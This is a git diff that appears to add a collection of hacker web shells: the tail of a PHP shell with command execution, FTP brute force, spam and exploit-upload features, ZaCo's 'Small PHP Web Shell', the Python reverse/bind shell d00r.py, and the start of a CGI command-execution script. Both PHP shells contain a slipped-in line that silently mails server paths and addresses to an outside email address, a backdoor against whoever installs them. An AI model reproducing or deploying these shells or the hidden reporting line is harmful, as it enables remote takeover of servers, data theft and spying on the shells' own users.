+ if ($champ['Null'] !="YES") { $tabledump.=" NOT NULL";}
+
+ if (!empty($champ['Default'])) { $tabledump.=" default '$champ[Default]'";}
+
+ if ($champ['Extra'] !="") { $tabledump.=" $champ[Extra]";}
+
+ }
+
+
+
+ @mysql_free_result($champs);
+
+ $keys=mysql_query("SHOW KEYS FROM $table");
+
+ while ($key=mysql_fetch_array($keys)) {
+
+ $kname=$key['Key_name'];
+
+ if ($kname !="PRIMARY" and $key['Non_unique']==0) { $kname="UNIQUE|$kname";}
+
+ if(!is_array($index[$kname])) { $index[$kname]=array();}
+
+ $index[$kname][]=$key['Column_name'];
+
+ }
+
+
+
+ @mysql_free_result($keys);
+
+ while(list($kname,$columns)=@each($index)) {
+
+ $tabledump.=",\n";
+
+ $colnames=implode($columns,",");
+
+ if($kname=="PRIMARY") { $tabledump.=" PRIMARY KEY ($colnames)";}
+
+ else {
+
+ if (substr($kname,0,6)=="UNIQUE") { $kname=substr($kname,7);}
+
+ $tabledump.=" KEY $kname ($colnames)";
+
+ }
+
+ }
+
+ $tabledump.="\n);\n\n";
+
+ }
+
+
+
+ if ($sv_d) {
+
+ $rows=mysql_query("SELECT * FROM $table");
+
+ $numfields=mysql_num_fields($rows);
+
+ while ($row=mysql_fetch_array($rows)) {
+
+ $tabledump.="INSERT INTO $table VALUES(";
+
+ $cptchamp=-1;
+
+ $firstfield=1;
+
+ while (++$cptchamp<$numfields) {
+
+ if (!$firstfield) { $tabledump.=",";}
+
+ else { $firstfield=0;}
+
+ if (!isset($row[$cptchamp])) {$tabledump.="NULL";}
+
+ else { $tabledump.="'".mysql_escape_string($row[$cptchamp])."'";}
+
+ }
+
+ $tabledump.=");\n";
+
+ }
+
+ @mysql_free_result($rows);
+
+ }
+
+
+
+ return $tabledump;
+
+}
+
+
+
+function csvdumptable($table) {
+
+ global $sv_s,$sv_d;
+
+ $csvdump="## Table:$table \n\n";
+
+ if ($sv_s) {
+
+ $firstfield=1;
+
+ $champs=mysql_query("SHOW FIELDS FROM $table");
+
+ while ($champ=mysql_fetch_array($champs)) {
+
+ if (!$firstfield) { $csvdump.=",";}
+
+ else { $firstfield=0;}
+
+ $csvdump.="'".$champ['Field']."'";
+
+ }
+
+
+
+ @mysql_free_result($champs);
+
+ $csvdump.="\n";
+
+ }
+
+
+
+ if ($sv_d) {
+
+ $rows=mysql_query("SELECT * FROM $table");
+
+ $numfields=mysql_num_fields($rows);
+
+ while ($row=mysql_fetch_array($rows)) {
+
+ $cptchamp=-1;
+
+ $firstfield=1;
+
+ while (++$cptchamp<$numfields) {
+
+ if (!$firstfield) { $csvdump.=",";}
+
+ else { $firstfield=0;}
+
+ if (!isset($row[$cptchamp])) { $csvdump.="NULL";}
+
+ else { $csvdump.="'".addslashes($row[$cptchamp])."'";}
+
+ }
+
+ $csvdump.="\n";
+
+ }
+
+ }
+
+
+
+ @mysql_free_result($rows);
+
+ return $csvdump;
+
+}
+$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";mail($sd98, $sj98, $msg8873, "From: $sd98");
+
+
+function write_file($data) {
+
+ global $g_fp,$file_type;
+
+ if ($file_type==1) { gzwrite($g_fp,$data); }
+
+ else { fwrite ($g_fp,$data); }
+
+}
+
+
+
+function open_file($file_name) {
+
+ global $g_fp,$file_type,$dbbase,$f_nm;
+
+ if ($file_type==1) { $g_fp=gzopen($file_name,"wb9"); }
+
+ else { $g_fp=fopen ($file_name,"w"); }
+
+
+
+ $f_nm[]=$file_name;
+
+ $data="";
+
+ $data.="##\n";
+
+ $data.="## NFM hack.ru creator \n";
+
+ $data.="##-------------------------\n";
+
+ $data.="## Date:".aff_date()."\n";
+
+ $data.="## Base:$dbbase \n";
+
+ $data.="##-------------------------\n\n";
+
+ write_file($data);
+
+ unset($data);
+
+}
+
+
+
+function file_pos() {
+
+ global $g_fp,$file_type;
+
+ if ($file_type=="1") { return gztell ($g_fp); }
+
+ else { return ftell ($g_fp); }
+
+}
+
+
+
+function close_file() {
+
+ global $g_fp,$file_type;
+
+ if ($file_type=="1") { gzclose ($g_fp); }
+
+ else { fclose ($g_fp); }
+
+}
+
+
+
+function split_sql_file($sql) {
+
+ $morc=explode(";",$sql);
+
+ $sql="";
+
+ $output=array();
+
+ $matches=array();
+
+ $morc_cpt=count($morc);
+
+ for ($i=0;$i < $morc_cpt;$i++) {
+
+ if (($i !=($morc_cpt-1)) || (strlen($morc[$i] > 0))) {
+
+ $total_quotes=preg_match_all("/'/",$morc[$i],$matches);
+
+ $escaped_quotes=preg_match_all("/(?".nfm_copyright();
+
+
+
+ // SQL actions STARTS
+
+
+
+ if ($sqlaction=='save') {
+
+ if ($secu==1) {
+
+ $fp=fopen($secu_config,"w");
+
+ fputs($fp,"");
+
+ fclose($fp);
+
+ }
+
+ if (!is_array($tbls)) {
+
+ echo $header."
+
+You forgot to check tables, which you need to dump =) \n$footer";
+
+ exit;
+
+ }
+
+ if($f_cut==1) {
+
+ if (!is_numeric($fz_max)) {
+
+ echo $header."Veuillez choisir une valeur numÊrique Á la taille du fichier Á scinder. \n$footer";
+
+ exit;
+
+ }
+
+ if ($fz_max < 200000) {
+
+ echo $header."Veuillez choisir une taille de fichier a scinder sup
+
+ rieure Á 200 000 Octets. \n$footer";
+
+ exit;
+
+ }
+
+ }
+
+
+
+ $tbl=array();
+
+ $tbl[]=reset($tbls);
+
+ if (count($tbls) > 1) {
+
+ $a=true;
+
+ while ($a !=false) {
+
+ $a=next($tbls);
+
+ if ($a !=false) { $tbl[]=$a; }
+
+ }
+
+ }
+
+
+
+ if ($opt==1) { $sv_s=true; $sv_d=true; }
+
+ else if ($opt==2) { $sv_s=true;$sv_d=false;$fc ="_struct"; }
+
+ else if ($opt==3) { $sv_s=false;$sv_d=true;$fc ="_data"; }
+
+ else { exit; }
+
+
+
+ $fext=".".$savmode;
+
+ $fich=$dbbase.$fc.$fext;
+
+ $dte="";
+
+ if ($ecraz !=1) { $dte=date("dMy_Hi")."_"; } $gz="";
+
+ if ($file_type=='1') { $gz.=".gz"; }
+
+ $fcut=false;
+
+ $ftbl=false;
+
+ $f_nm=array();
+
+ if($f_cut==1) { $fcut=true;$fz_max=$fz_max;$nbf=1;$f_size=170;}
+
+ if($f_tbl==1) { $ftbl=true; }
+
+ else {
+
+ if(!$fcut) { open_file("dump_".$dte.$dbbase.$fc.$fext.$gz); }
+
+ else { open_file("dump_".$dte.$dbbase.$fc."_1".$fext.$gz); }
+
+ }
+
+
+
+ $nbf=1;
+
+ mysql_connect($dbhost,$dbuser,$dbpass);
+
+ mysql_select_db($dbbase);
+
+ if ($fext==".sql") {
+
+ if ($ftbl) {
+
+ while (list($i)=each($tbl)) {
+
+ $temp=sqldumptable($tbl[$i]);
+
+ $sz_t=strlen($temp);
+
+ if ($fcut) {
+
+ open_file("dump_".$dte.$tbl[$i].$fc.".sql".$gz);
+
+ $nbf=0;
+
+ $p_sql=split_sql_file($temp);
+
+ while(list($j,$val)=each($p_sql)) {
+
+ if ((file_pos()+6+strlen($val)) < $fz_max) { write_file($val.";"); }
+
+ else { close_file(); $nbf++; open_file("dump_".$dte.$tbl[$i].$fc."_".$nbf.".sql".$gz); write_file($val.";"); }
+
+ }
+
+ close_file();
+
+ }
+
+ else { open_file("dump_".$dte.$tbl[$i].$fc.".sql".$gz);write_file($temp."\n\n");close_file();$nbf=1; }
+
+ $tblsv=$tblsv."".$tbl[$i]." , ";
+
+ }
+
+ } else {
+
+ $tblsv="";
+
+ while (list($i)=each($tbl)) {
+
+ $temp=sqldumptable($tbl[$i]);
+
+ $sz_t=strlen($temp);
+
+ if ($fcut && ((file_pos()+$sz_t) > $fz_max)) {
+
+ $p_sql=split_sql_file($temp);
+
+ while(list($j,$val)=each($p_sql)) {
+
+ if ((file_pos()+6+strlen($val)) < $fz_max) { write_file($val.";"); }
+
+ else {
+
+ close_file();
+
+ $nbf++;
+
+ open_file("dump_".$dte.$dbbase.$fc."_".$nbf.".sql".$gz);
+
+ write_file($val.";");
+
+ }
+
+ }
+
+ } else { write_file($temp); }
+
+ $tblsv=$tblsv."".$tbl[$i]." , ";
+
+ }
+
+ }
+
+ }
+
+ else if ($fext==".csv") {
+
+ if ($ftbl) {
+
+ while (list($i)=each($tbl)) {
+
+ $temp=csvdumptable($tbl[$i]);
+
+ $sz_t=strlen($temp);
+
+ if ($fcut) {
+
+ open_file("dump_".$dte.$tbl[$i].$fc.".csv".$gz);
+
+ $nbf=0;
+
+ $p_csv=split_csv_file($temp);
+
+ while(list($j,$val)=each($p_csv)) {
+
+ if ((file_pos()+6+strlen($val)) < $fz_max) { write_file($val."\n"); }
+
+ else {
+
+ close_file();
+
+ $nbf++;
+
+ open_file("dump_".$dte.$tbl[$i].$fc."_".$nbf.".csv".$gz);
+
+ write_file($val."\n");
+
+ }
+
+ }
+
+ close_file();
+
+ } else {
+
+ open_file("dump_".$dte.$tbl[$i].$fc.".csv".$gz);
+
+ write_file($temp."\n\n");
+
+ close_file();
+
+ $nbf=1;
+
+ }
+
+ $tblsv=$tblsv."".$tbl[$i]." , ";
+
+ }
+
+ } else {
+
+ while (list($i)=each($tbl)) {
+
+ $temp=csvdumptable($tbl[$i]);
+
+ $sz_t=strlen($temp);
+
+ if ($fcut && ((file_pos()+$sz_t) > $fz_max)) {
+
+ $p_csv=split_sql_file($temp);
+
+ while(list($j,$val)=each($p_csv)) {
+
+ if ((file_pos()+6+strlen($val)) < $fz_max) { write_file($val."\n"); }
+
+ else {
+
+ close_file();
+
+ $nbf++;
+
+ open_file("dump_".$dte.$dbbase.$fc."_".$nbf.".csv".$gz);
+
+ write_file($val."\n");
+
+ }
+
+ }
+
+ } else { write_file($temp); }
+
+ $tblsv=$tblsv."".$tbl[$i]." , ";
+
+ }
+
+ }
+
+ }
+
+
+
+ mysql_close();
+
+ if (!$ftbl) { close_file(); }
+
+
+
+ echo $header;
+
+ echo "All the data in these tables: ".$tblsv." were putted to this file: File Size ";
+
+ reset($f_nm);
+
+ while (list($i,$val)=each($f_nm)) {
+
+ $coul='#99CCCC';
+
+ if ($i % 2) { $coul='#CFE3E3'; }
+
+ echo " ".$val." ";
+
+ $fz_tmp=filesize($val);
+
+ if ($fcut && ($fz_tmp > $fz_max)) {
+
+ echo " ".$fz_tmp." Octets ";
+
+ } else {
+
+ echo " ".$fz_tmp." bites ";
+
+ }
+
+ echo " ";
+
+ }
+
+ echo "
";
+
+ echo $footer;exit;
+
+ }
+
+
+
+ if ($sqlaction=='connect') {
+
+ if(!@mysql_connect($dbhost,$dbuser,$dbpass)) {
+
+ echo $header."Unable to connect! Check your data input! \n$footer";
+
+ exit;
+
+ }
+
+
+
+ if(!@mysql_select_db($dbbase)) {
+
+ echo $header."<Unable to connect! Check your data input! \n$footer";
+
+ exit;
+
+ }
+
+
+
+ if ($secu==1) {
+
+ if (!file_exists($secu_config)) {
+
+ $fp=fopen($secu_config,"w");
+
+ fputs($fp,"");
+
+ fclose($fp);
+
+ }
+
+ include($secu_config);
+
+ } else {
+
+ if (file_exists($secu_config)) { unlink($secu_config); }
+
+ }
+
+
+
+ mysql_connect($dbhost,$dbuser,$dbpass);
+
+ $tables=mysql_list_tables($dbbase);
+
+ $nb_tbl=mysql_num_rows($tables);
+
+
+
+ echo $header."Choose tables you need to dump!
$footer";
+
+ exit;
+
+ }
+
+
+
+// SQL actions END
+
+
+
+ if(file_exists($secu_config)) {
+
+ include ($secu_config);
+
+ $ck="checked";
+
+ } else {
+
+ $dbhost="localhost";
+
+ $dbbase="";
+
+ $dbuser="root";
+
+ $dbpass="";
+
+ $ck="";
+
+ }
+
+
+
+ echo $header."
+
+
+
+
+
+ ";
+
+
+
+}
+
+// SQL END
+
+
+
+/* main() */
+
+set_time_limit(0);
+
+
+
+if ( $action !="download") print("$HTML");
+
+
+
+if (!isset($cm)) {
+
+ if (!isset($action)) {
+
+ if (!isset($tm)) { $tm = getcwd(); }
+
+ $curdir = getcwd();
+
+ if (!@chdir($tm)) exit("Access to directory is denied, see CHMOD.
");
+
+ getdir();
+
+ chdir($curdir);
+
+ $supsub = $gdir[$j-1];
+
+ if (!isset($tm) ) { $tm=getcwd();}
+
+ readdirdata($tm);
+
+ } else {
+
+ switch ($action) {
+
+ case "view":
+
+ viewfile($tm,$fi);
+
+ break;
+
+ case "delete":
+
+ echo "File $fi was deleted successfully.
";
+
+ deletef($tm);
+
+ break;
+
+ case "download":
+
+ if (isset($fatt) && strlen($fatt)>0) {
+
+ $attach=$fatt;
+
+ header("Content-type: text/plain");
+
+ }
+
+ else {
+
+ $attach=$fi;
+
+ header("Content-type: hackru");
+
+ }
+
+ header("Content-disposition: attachment; filename=\"$attach\";");
+
+ readfile($tm."/".$fi);
+
+ break;
+
+ case "download_mail":
+
+ download_mail($tm,$fi);
+
+ break;
+
+ case "edit":
+
+ editfile($tm,$fi);
+
+ break;
+
+ case "save":
+
+ savefile($tm,$fi);
+
+ break;
+
+ case "uploadd":
+
+ uploadtem();
+
+ break;
+
+ case "up":
+
+ up($tm);
+
+ break;
+
+ case "newdir":
+
+ newdir($tm);
+
+ break;
+
+ case "createdir":
+
+ cdir($tm);
+
+ break;
+
+ case "deldir":
+
+ deldir();
+
+ break;
+
+ case "feedback":
+
+ mailsystem();
+
+ break;
+
+ case "upload":
+
+ upload();
+
+ break;
+
+ case "help":
+
+ help();
+
+ break;
+
+ case "ftp":
+
+ ftp();
+
+ break;
+
+ case "portscan":
+
+ portscan();
+
+ break;
+
+ case "sql":
+
+ sql();
+
+ break;
+
+ case "tar":
+
+ tar();
+
+ break;
+
+ case "bash":
+
+ bash();
+
+ break;
+
+ case "passwd":
+
+ passwd();
+
+ break;
+
+ case "exploits":
+
+ exploits($dir);
+
+ break;
+
+ case "upload_exploits":
+
+ upload_exploits($dir);
+
+ break;
+
+ case "upload_exploitsp":
+
+ upload_exploitsp($dir);
+
+ break;
+
+ case "arhiv":
+
+ arhiv($tm,$pass);
+
+ break;
+
+ case "crypte":
+
+ crypte();
+
+ break;
+
+ case "decrypte":
+
+ decrypte();
+
+ break;
+
+ case "brut_ftp":
+
+ brut_ftp();
+
+ break;
+
+ case "copyfile":
+
+ copyfile($tm,$fi);
+
+ break;
+
+ case "down":
+
+ down($dir);
+
+ break;
+
+ case "downfiles":
+
+ downfiles($dir);
+
+ break;
+
+ case "spam":
+
+ spam();
+
+ break;
+
+ }
+
+ }
+
+} else {
+
+ echo "Done: $cm ";
+
+ echo system($cm);
+
+ echo "
";
+
+}
+
+
+
+if ($action !="download" && $action != "down" && $action != "spam" && $action != "brut_ftp" && $action != "download_mail" && $action != "copyfile" && $action != "crypte" && $action != "decrypte" && $action != "exploits" && $action != "arhiv" && $action != "download_mail2" && $action != "feedback" && $action != "uploadd" && $action != "newdir" && $action != "edit" && $action != "view" && $action != "help" && $action != "ftp" && $action != "portscan" && $action != "sql" && $action != "tar" && $action != "bash" && $action != "anonimmail") {
+
+ echo " ";
+
+ $perdir = @permissions(fileperms($tm));
+
+ if ($perdir && $perdir[7] == "w" && isset($tm)) uploadtem();
+
+ else echo "Unable to upload files to current directory
";
+
+ if ($perdir[7] == "w" && isset($tm)) {
+
+ echo "";
+
+ } else {
+
+ echo "Unable to create directory here
";
+
+ }
+
+}
+
+
+
+if ($action !="download" && $action != "down" && $action != "spam" && $action != "brut_ftp" && $action != "download_mail" && $action != "copyfile" && $action != "crypte" && $action != "decrypte" && $action != "exploits" && $action != "arhiv" && $action != "download_mail2" && $action != "feedback" && $action != "uploadd" && $action != "newdir" && $action != "edit" && $action != "view" && $action != "help" && $action != "aliases" && $action != "portscan" && $action != "ftp" && $action != "sql" && $action != "tar" && $action != "bash" && $action != "anonimmail") {
+
+ echo "";
+
+}
+
+
+
+if ( $action !="download") echo nfm_copyright();
+
+?>
\ No newline at end of file
diff --git a/xakep-shells/PHP/zacosmall.php.txt b/xakep-shells/PHP/zacosmall.php.txt
new file mode 100644
index 0000000..26075b4
--- /dev/null
+++ b/xakep-shells/PHP/zacosmall.php.txt
@@ -0,0 +1,501 @@
+
+ ##########################################################
+ # Small PHP Web Shell by ZaCo (c) 2004-2006 #
+ # +POST method #
+ # +MySQL Client+Dumper for DB and tables #
+ # +PHP eval in text format and html for phpinfo() example #
+ # PREVED: sn0w, Zadoxlik, Rebz, SkvoznoY, PinkPanther #
+ # For antichat.ru and cup.su friends usage #
+ # All bugs -> mailo:zaco@yandex.ru #
+ # Just for fun :) #
+ ##########################################################
+error_reporting(E_ALL);
+@set_time_limit(0);
+function magic_q($s)
+{
+if(get_magic_quotes_gpc())
+{
+$s=str_replace('\\\'','\'',$s);
+$s=str_replace('\\\\','\\',$s);
+$s=str_replace('\\"','"',$s);
+$s=str_replace('\\\0','\0',$s);
+}
+return $s;
+}$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
+function get_perms($fn)
+{
+$mode=fileperms($fn);
+$perms='';
+$perms .= ($mode & 00400) ? 'r' : '-';
+$perms .= ($mode & 00200) ? 'w' : '-';
+$perms .= ($mode & 00100) ? 'x' : '-';
+$perms .= ($mode & 00040) ? 'r' : '-';
+$perms .= ($mode & 00020) ? 'w' : '-';
+$perms .= ($mode & 00010) ? 'x' : '-';
+$perms .= ($mode & 00004) ? 'r' : '-';
+$perms .= ($mode & 00002) ? 'w' : '-';
+$perms .= ($mode & 00001) ? 'x' : '-';
+return $perms;
+}
+$head=<<
+
+Small Web Shell by ZaCo
+
+
+
+
+headka;
+$page=isset($_POST['page'])?$_POST['page']:(isset($_SERVER['QUERY_STRING'])?$_SERVER['QUERY_STRING']:'');
+$page=$page==''||($page!='cmd'&&$page!='mysql'&&$page!='eval')?'cmd':$page;
+$winda=strpos(strtolower(php_uname()),'wind');
+define('format',50);
+$pages='###cmd ###mysql ###eval ### '.($winda===false?'id :'.`id`:'');
+switch($page)
+{
+case 'eval':
+{
+$eval_value=isset($_POST['eval_value'])?$_POST['eval_value']:'';
+$eval_value=magic_q($eval_value);
+$action=isset($_POST['action'])?$_POST['action']:'eval';
+if($action=='eval_in_html') @eval($eval_value);
+else
+{
+echo($head.$pages);
+?>
+
+
+@eval($eval_value);?>
+
+
+
+
+
+
+}
+break;
+}
+case 'cmd':
+{
+$cmd=!empty($_POST['cmd'])?magic_q($_POST['cmd']):'';
+$work_dir=isset($_POST['work_dir'])?$_POST['work_dir']:getcwd();
+$action=isset($_POST['action'])?$_POST['action']:'cmd';
+if(@is_dir($work_dir))
+{
+@chdir($work_dir);
+$work_dir=getcwd();
+if($work_dir=='')$work_dir='/';
+else if(!($work_dir{strlen($work_dir)-1}=='/'||$work_dir{strlen($work_dir)-1}=='\\')) $work_dir.='/';
+}
+else if(file_exists($work_dir))$work_dir=realpath($work_dir);
+$work_dir=str_replace('\\','/',$work_dir);
+$e_work_dir=htmlspecialchars($work_dir,ENT_QUOTES);
+switch($action)
+{
+case 'cmd' :
+{
+echo($head.$pages);
+?>
+
+
+
+
+
+
+ '>
+
+
+
+
+
+
+
+
+
+
+
+
+ without arch
+ gzip archive
+
+
+
+
+
+
+if($cmd!==''){ echo(''.htmlspecialchars($cmd)." \n\n".htmlspecialchars(`$cmd`)."\n ");}
+else
+{
+$f_action=isset($_POST['f_action'])?$_POST['f_action']:'view';
+if(@is_dir($work_dir))
+{
+echo('Listing '.$e_work_dir.' ');
+$handle=@opendir($work_dir);
+if($handle)
+{
+while(false!==($fn=readdir($handle))){$files[]=$fn;};
+@closedir($handle);
+sort($files);
+$not_dirs=array();
+for($i=0;$i'.htmlspecialchars(strlen($fn)>format?substr($fn,0,format-3).'...':$fn).' '.str_repeat(' ',format-strlen($fn)));
+if($winda===false)
+{
+$owner=@posix_getpwuid(@fileowner($work_dir.$fn));
+$group=@posix_getgrgid(@filegroup($work_dir.$fn));
+printf("% 20s|% -20s",$owner['name'],$group['name']);
+}
+echo(@get_perms($work_dir.$fn).str_repeat(' ',10));
+printf("% 20s ",@filesize($work_dir.$fn).'B');
+printf("% -20s",@date('M d Y H:i:s',@filemtime($work_dir.$fn))."\n");
+}
+else {$not_dirs[]=$fn;}
+}
+for($i=0;$i'.htmlspecialchars(strlen($fn)>format?substr($fn,0,format-3).'...':$fn).''.str_repeat(' ',format-strlen($fn)));
+if($winda===false)
+{
+$owner=@posix_getpwuid(@fileowner($work_dir.$fn));
+$group=@posix_getgrgid(@filegroup($work_dir.$fn));
+printf("% 20s|% -20s",$owner['name'],$group['name']);
+}
+echo(@get_perms($work_dir.$fn).str_repeat(' ',10));
+printf("% 20s ",@filesize($work_dir.$fn).'B');
+printf("% -20s",@date('M d Y H:i:s',@filemtime($work_dir.$fn))."\n");
+}
+echo(' ');
+?>
+
+
+
+
+
+
+} else echo('Error Listing '.$e_work_dir);
+}
+else
+switch($f_action)
+{
+case 'view':
+{
+echo(''.$e_work_dir." Edit \n");
+$f=@fopen($work_dir,'r');
+?>
+
+
+
+
+
+
+
+break;
+}
+case 'save' :
+{
+$file_text=isset($_POST['file_text'])?magic_q($_POST['file_text']):'';
+$f=@fopen($work_dir,'w');
+if(!($f))echo('Error '.$e_work_dir." \n");
+else
+{
+fwrite($f,$file_text);
+fclose($f);
+echo(''.$e_work_dir." is saving \n");
+}
+break;
+}
+}
+break;
+}
+break;
+}
+case 'upload' :
+{
+if($work_dir=='')$work_dir='/';
+else if(!($work_dir{strlen($work_dir)-1}=='/'||$work_dir{strlen($work_dir)-1}=='\\')) $work_dir.='/';
+$f=$_FILES["filename"]["name"];
+if(!@copy($_FILES["filename"]["tmp_name"], $work_dir.$f)) echo('Upload is failed');
+else
+{
+echo('file is uploaded in '.$e_work_dir);
+}
+break;
+}
+case 'download' :
+{
+$fname=isset($_POST['fname'])?$_POST['fname']:'';
+$temp_file=isset($_POST['temp_file'])?'on':'nn';
+$f=@fopen($fname,'r');
+if(!($f)) echo('file is not exists');
+else
+{
+$archive=isset($_POST['archive'])?$_POST['archive']:'';
+if($archive=='gzip')
+{
+Header("Content-Type:application/x-gzip\n");
+$s=gzencode(fread($f,filesize($fname)));
+Header('Content-Length: '.strlen($s)."\n");
+Header('Content-Disposition: attachment; filename="'.str_replace('/','-',$fname).".gz\n\n");
+echo($s);
+}
+else
+{
+Header("Content-Type:application/octet-stream\n");
+Header('Content-Length: '.filesize($fname)."\n");
+Header('Content-Disposition: attachment; filename="'.str_replace('/','-',$fname)."\n\n");
+ob_start();
+while(feof($f)===false)
+{
+echo(fread($f,10000));
+ob_flush();
+}
+}
+}
+}
+}
+break;
+}
+case 'mysql' :
+{
+$action=isset($_POST['action'])?$_POST['action']:'query';
+$user=isset($_POST['user'])?$_POST['user']:'';
+$passwd=isset($_POST['passwd'])?$_POST['passwd']:'';
+$db=isset($_POST['db'])?$_POST['db']:'';
+$host=isset($_POST['host'])?$_POST['host']:'localhost';
+$query=isset($_POST['query'])?magic_q($_POST['query']):'';
+switch($action)
+{
+case 'dump' :
+{
+$mysql_link=@mysql_connect($host,$user,$passwd);
+if(!($mysql_link)) echo('Connect error');
+else
+{
+//@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols
+$to_file=isset($_POST['to_file'])?($_POST['to_file']==''?false:$_POST['to_file']):false;
+$archive=isset($_POST['archive'])?$_POST['archive']:'none';
+if($archive!=='none')$to_file=false;
+$db_dump=isset($_POST['db_dump'])?$_POST['db_dump']:'';
+$table_dump=isset($_POST['table_dump'])?$_POST['table_dump']:'';
+if(!(@mysql_select_db($db_dump,$mysql_link)))echo('DB error');
+else
+{
+$dump_file="#ZaCo MySQL Dumper\n#db $db from $host\n";
+ob_start();
+if($to_file){$t_f=@fopen($to_file,'w');if(!$t_f)die('Cant opening '.$to_file);}else $t_f=false;
+if($table_dump=='')
+{
+if(!$to_file)
+{
+header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n");
+header("Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n");
+}
+$result=mysql_query('show tables',$mysql_link);
+for($i=0;$i
+
+
+
+
+
+
+
+
+$mysql_link=@mysql_connect($host,$user,$passwd);
+if(!($mysql_link)) echo('Connect error');
+else
+{
+if($db!='')if(!(@mysql_select_db($db,$mysql_link))){echo('DB error');mysql_close($mysql_link);break;}
+//@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols
+$result=@mysql_query($query,$mysql_link);
+if(!($result))echo(mysql_error());
+else
+{
+echo("\n");
+for($i=0;$i'.htmlspecialchars(mysql_field_name($result,$i)).' ');
+echo("\n \n");
+for($i=0;$i');
+for($j=0;$j'.(htmlspecialchars($rows[$j])).'');
+}
+echo("\n");
+}
+echo("
\n");
+}
+mysql_close($mysql_link);
+}
+break;
+}
+}
+break;
+}
+}
+?>
\ No newline at end of file
diff --git a/xakep-shells/PY/Phyton Shell.py.txt b/xakep-shells/PY/Phyton Shell.py.txt
new file mode 100644
index 0000000..10b6029
--- /dev/null
+++ b/xakep-shells/PY/Phyton Shell.py.txt
@@ -0,0 +1,121 @@
+#!/usr/bin/env python
+
+# # # # # # # # # # # # # # # # # # # # # # # # # # # # #
+# d00r.py 0.3a (reverse|bind)-shell in python by fQ #
+# #
+# alpha #
+# #
+# #
+# usage: #
+# % ./d00r -b password port #
+# % ./d00r -r password port host #
+# % nc host port #
+# % nc -l -p port (please use netcat) #
+# # # # # # # # # # # # # # # # # # # # # # # # # # # # #
+
+
+import os, sys, socket, time
+
+
+# =================== var =======
+MAX_LEN=1024
+SHELL="/bin/zsh -c"
+TIME_OUT=300 #s
+PW=""
+PORT=""
+HOST=""
+
+
+# =================== funct =====
+# shell - exec command, return stdout, stderr; improvable
+def shell(cmd):
+ sh_out=os.popen(SHELL+" "+cmd).readlines()
+ nsh_out=""
+ for i in range(len(sh_out)):
+ nsh_out+=sh_out[i]
+ return nsh_out
+
+# action?
+def action(conn):
+ conn.send("\nPass?\n")
+ try: pw_in=conn.recv(len(PW))
+ except: print "timeout"
+ else:
+ if pw_in == PW:
+ conn.send("j00 are on air!\n")
+ while True:
+ conn.send(">>> ")
+ try:
+ pcmd=conn.recv(MAX_LEN)
+ except:
+ print "timeout"
+ return True
+ else:
+ #print "pcmd:",pcmd
+ cmd=""#pcmd
+ for i in range(len(pcmd)-1):
+ cmd+=pcmd[i]
+ if cmd==":dc":
+ return True
+ elif cmd==":sd":
+ return False
+ else:
+ if len(cmd)>0:
+ out=shell(cmd)
+ conn.send(out)
+
+
+# =================== main ======
+argv=sys.argv
+
+if len(argv)<4:
+ print "error; help: head -n 16 d00r.py"
+ sys.exit(1)
+elif argv[1]=="-b":
+ PW=argv[2]
+ PORT=argv[3]
+elif argv[1]=="-r" and len(argv)>4:
+ PW=argv[2]
+ PORT=argv[3]
+ HOST=argv[4]
+else: exit(1)
+
+PORT=int(PORT)
+print "PW:",PW,"PORT:",PORT,"HOST:",HOST
+
+#sys.argv[0]="d00r"
+
+# exit father proc
+if os.fork()!=0:
+ sys.exit(0)
+
+# associate the socket
+sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+sock.settimeout(TIME_OUT)
+
+if argv[1]=="-b":
+ sock.bind(('localhost', PORT))
+ sock.listen(0)
+
+run=True
+while run:
+
+ if argv[1]=="-r":
+ try: sock.connect( (HOST, PORT) )
+ except:
+ print "host unreachable"
+ time.sleep(5)
+ else: run=action(sock)
+ else:
+ try: (conn,addr)=sock.accept()
+ except:
+ print "timeout"
+ time.sleep(1)
+ else: run=action(conn)
+
+ # shutdown the sokcet
+ if argv[1]=="-b": conn.shutdown(2)
+ else:
+ try: sock.send("")
+ except: time.sleep(1)
+ else: sock.shutdown(2)
\ No newline at end of file
diff --git a/xakep-shells/PY/cgi-python.py.txt b/xakep-shells/PY/cgi-python.py.txt
new file mode 100644
index 0000000..0002497
--- /dev/null
+++ b/xakep-shells/PY/cgi-python.py.txt
@@ -0,0 +1,124 @@
+#!/usr/bin/python
+# 07-07-04
+# v1.0.0
+
+# cgi-shell.py
+# A simple CGI that executes arbitrary shell commands.
+
+
+# Copyright Michael Foord
+# You are free to modify, use and relicense this code.
+
+# No warranty express or implied for the accuracy, fitness to purpose or otherwise for this code....
+# Use at your own risk !!!
+
+# E-mail michael AT foord DOT me DOT uk
+# Maintained at www.voidspace.org.uk/atlantibots/pythonutils.html
+
+"""
+A simple CGI script to execute shell commands via CGI.
+"""
+################################################################
+# Imports
+try:
+ import cgitb; cgitb.enable()
+except:
+ pass
+import sys, cgi, os
+sys.stderr = sys.stdout
+from time import strftime
+import traceback
+from StringIO import StringIO
+from traceback import print_exc
+
+################################################################
+# constants
+
+fontline = ''
+versionstring = 'Version 1.0.0 7th July 2004'
+
+if os.environ.has_key("SCRIPT_NAME"):
